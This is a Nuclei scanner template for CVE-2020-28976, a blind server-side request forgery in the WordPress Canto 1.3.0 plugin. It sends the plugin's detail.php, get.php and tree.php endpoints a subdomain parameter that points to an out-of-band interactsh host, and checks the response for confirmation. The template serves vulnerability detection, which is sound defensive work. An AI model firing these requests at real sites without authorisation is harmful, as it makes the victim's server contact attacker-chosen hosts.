id: CVE-2020-28976

info:
  name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery
  author: LogicalHunter
  severity: medium
  description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://www.exploit-db.com/exploits/49189
    - https://www.canto.com/integrations/wordpress/
    - https://github.com/CantoDAM/Canto-Wordpress-Plugin
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-28976
    cwe-id: CWE-918
    cpe: cpe:2.3:a:canto:canto:*:*:*:*:*:*:*:*
    epss-score: 0.004
  tags: cve,cve2020,ssrf,wordpress,wp-plugin,oast,edb
  metadata:
    max-request: 3

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}"
      - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "null"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

# Enhanced by md on 2023/02/01